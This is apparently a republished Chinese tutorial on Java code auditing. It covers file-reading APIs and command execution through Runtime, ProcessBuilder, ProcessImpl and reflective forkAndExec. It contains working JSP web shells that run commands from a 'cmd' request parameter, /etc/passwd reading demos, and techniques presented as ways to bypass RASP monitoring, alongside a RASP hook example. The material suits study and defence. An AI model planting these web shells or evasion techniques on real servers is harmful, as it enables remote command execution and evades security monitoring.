栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

java代码审计-java基础-2

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

java代码审计-java基础-2

文章目录

1. 文件操作

1.1 常见文件操作类1.2 利用FileSystemProvider实现读文件1.3 利用RandomAccessFile读文件 2. 命令执行

2.1 java.lang.Runtime2.2 直接利用ProcessBuilder执行命令2.3 利用ProcessImpl对象执行命令

2.3.1 RASP 防御 Java 本地命令执行 2.4 利用forkAndExec执行命令2.5 总结

1. 文件操作


常用的有java.io和java.nio,java.nio的实现是sun.nio.

如果rasp监控了java.io里面的读文件的类,我们就可以使用java.nio来绕过监控并实现相同的功能.

1.1 常见文件操作类

FileInputStream #读 java.ioFileOutputStream #写 java.ioRandomAccessFile #读和写 java.ioFileSystemProvider #读和写 1.2 利用FileSystemProvider实现读文件

package com.anbai.sec.filesystem;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

public class FilesDemo {

    public static void main(String[] args) {
        // 通过File对象定义读取的文件路径
//        File file  = new File("/etc/passwd");
//        Path path1 = file.toPath();

        // 定义读取的文件路径
        Path path = Paths.get("/etc/passwd");

        try {
            byte[] bytes = Files.readAllBytes(path);
            System.out.println(new String(bytes));
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

}
1.3 利用RandomAccessFile读文件
package com.anbai.sec.filesystem;

import java.io.*;


public class RandomAccessFileDemo {

    public static void main(String[] args) {
        File file = new File("/etc/passwd");

        try {
            // 创建RandomAccessFile对象,r表示以只读模式打开文件,一共有:r(只读)、rw(读写)、
            // rws(读写内容同步)、rwd(读写内容或元数据同步)四种模式。
            RandomAccessFile raf = new RandomAccessFile(file, "r");

            // 定义每次输入流读取到的字节数对象
            int a = 0;

            // 定义缓冲区大小
            byte[] bytes = new byte[1024];

            // 创建二进制输出流对象
            ByteArrayOutputStream out = new ByteArrayOutputStream();

            // 循环读取文件内容
            while ((a = raf.read(bytes)) != -1) {
                // 截取缓冲区数组中的内容,(bytes, 0, a)其中的0表示从bytes数组的
                // 下标0开始截取,a表示输入流read到的字节数。
                out.write(bytes, 0, a);
            }

            System.out.println(out.toString());
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

}
2. 命令执行

补充:
inputsteam类与outputsteam的区别
当写数据的时候,被写入的目标就是outputsteam,读数据的时候,即将被读的数据就是inputsteam.

2.1 java.lang.Runtime

Runtime类的getRuntime函数返回一个对象,接着执行这个对象的exec函数即可执行命令.

最终流程:

    Runtime.exec(xxx)

    java.lang.ProcessBuilder.start()

    new java.lang.UNIXProcess(xxx)

    UNIXProcess构造方法中调用了forkAndExec(xxx) native方法。

    forkAndExec调用操作系统级别fork->exec(*nix)/CreateProcess(Windows)执行命令并返回fork/CreateProcess的PID。

2.2 直接利用ProcessBuilder执行命令
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%
    InputStream in = new ProcessBuilder(request.getParameterValues("cmd")).start().getInputStream();
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    byte[] b = new byte[1024];
    int a = -1;

    while ((a = in.read(b)) != -1) {
        baos.write(b, 0, a);
    }

    out.write("
" + new String(baos.toByteArray()) + "
"); %>
2.3 利用ProcessImpl对象执行命令

主要用来绕过rasp

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Map;

public class Main {

    public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, IllegalAccessException, NoSuchMethodException {
        Class clazz = Class.forName("java.lang.ProcessImpl");
        Method start = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
        start.setAccessible(true);
        start.invoke(null, (Object) new String[]{"open", "-a", "Calculator"}, null, null, null, false);
    }
}
2.3.1 RASP 防御 Java 本地命令执行

在 Java 底层执行系统命令的 API 是 java.lang.UNIXProcess/ProcessImpl#forkAndExec 方法,forkAndExec 是一个 native 方法,如果想要 Hook 该方法需要使用 Agent 机制中的 Can-Set-Native-Method-Prefix,为 forkAndExec 设置一个别名,如:__RASP__forkAndExec,然后重写__RASP__forkAndExec方法逻辑,即可实现对原 forkAndExec方法 Hook。

@RASPMethodHook(
      className = "java.lang.ProcessImpl", methodName = CONSTRUCTOR_INIT,
      methodArgsDesc = ".*", methodDescRegexp = true
)
public static class ProcessImplHook extends RASPMethodAdvice {

   @Override
   public RASPHookResult onMethodEnter() {
      try {
         String[] commands = null;

         // JDK9+的API参数不一样!
         if (getArg(0) instanceof String[]) {
            commands = getArg(0);
         } else if (getArg(0) instanceof byte[]) {
            commands = new String[]{new String((byte[]) getArg(0))};
         }

         // 检测执行的命令合法性
         return LocalCommandHookHandler.processCommand(commands, getThisObject(), this);
      } catch (Exception e) {
         RASPLogger.log(AGENT_NAME + "处理ProcessImpl异常:" + e, e);
      }

      return new RASPHookResult(RETURN);
   }

}
2.4 利用forkAndExec执行命令

步骤:

    使用sun.misc.Unsafe.allocateInstance(Class)特性可以无需new或者newInstance创建UNIXProcess/ProcessImpl类对象。反射UNIXProcess/ProcessImpl类的forkAndExec方法。构造forkAndExec需要的参数并调用。反射UNIXProcess/ProcessImpl类的initStreams方法初始化输入输出结果流对象。反射UNIXProcess/ProcessImpl类的getInputStream方法获取本地命令执行结果(如果要输出流、异常流反射对应方法即可)。

代码:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.Unsafe" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
    byte[] toCString(String s) {
        if (s == null)
            return null;
        byte[] bytes  = s.getBytes();
        byte[] result = new byte[bytes.length + 1];
        System.arraycopy(bytes, 0,
                result, 0,
                bytes.length);
        result[result.length - 1] = (byte) 0;
        return result;
    }


%>
<%
    String[] strs = request.getParameterValues("cmd");

    if (strs != null) {
        Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
        theUnsafeField.setAccessible(true);
        Unsafe unsafe = (Unsafe) theUnsafeField.get(null);

        Class processClass = null;

        try {
            processClass = Class.forName("java.lang.UNIXProcess");
        } catch (ClassNotFoundException e) {
            processClass = Class.forName("java.lang.ProcessImpl");
        }

        Object processObject = unsafe.allocateInstance(processClass);

        // Convert arguments to a contiguous block; it's easier to do
        // memory management in Java than in C.
        byte[][] args = new byte[strs.length - 1][];
        int      size = args.length; // For added NUL bytes

        for (int i = 0; i < args.length; i++) {
            args[i] = strs[i + 1].getBytes();
            size += args[i].length;
        }

        byte[] argBlock = new byte[size];
        int    i        = 0;

        for (byte[] arg : args) {
            System.arraycopy(arg, 0, argBlock, i, arg.length);
            i += arg.length + 1;
            // No need to write NUL bytes explicitly
        }

        int[] envc                 = new int[1];
        int[] std_fds              = new int[]{-1, -1, -1};
        Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
        Field helperpathField      = processClass.getDeclaredField("helperpath");
        launchMechanismField.setAccessible(true);
        helperpathField.setAccessible(true);
        Object launchMechanismObject = launchMechanismField.get(processObject);
        byte[] helperpathObject      = (byte[]) helperpathField.get(processObject);

        int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);

        Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{
                int.class, byte[].class, byte[].class, byte[].class, int.class,
                byte[].class, int.class, byte[].class, int[].class, boolean.class
        });

        forkMethod.setAccessible(true);// 设置访问权限

        int pid = (int) forkMethod.invoke(processObject, new Object[]{
                ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,
                null, envc[0], null, std_fds, false
        });

        // 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流
        Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
        initStreamsMethod.setAccessible(true);
        initStreamsMethod.invoke(processObject, std_fds);

        // 获取本地执行结果的输入流
        Method getInputStreamMethod = processClass.getMethod("getInputStream");
        getInputStreamMethod.setAccessible(true);
        InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        int                   a    = 0;
        byte[]                b    = new byte[1024];

        while ((a = in.read(b)) != -1) {
            baos.write(b, 0, a);
        }

        out.println("
");
        out.println(baos.toString());
        out.println("
"); out.flush(); out.close(); } %>
2.5 总结

代码审计阶段我们应该多搜索下Runtime.exec/ProcessBuilder/ProcessImpl等关键词,这样可以快速找出命令执行点。

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/770372.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号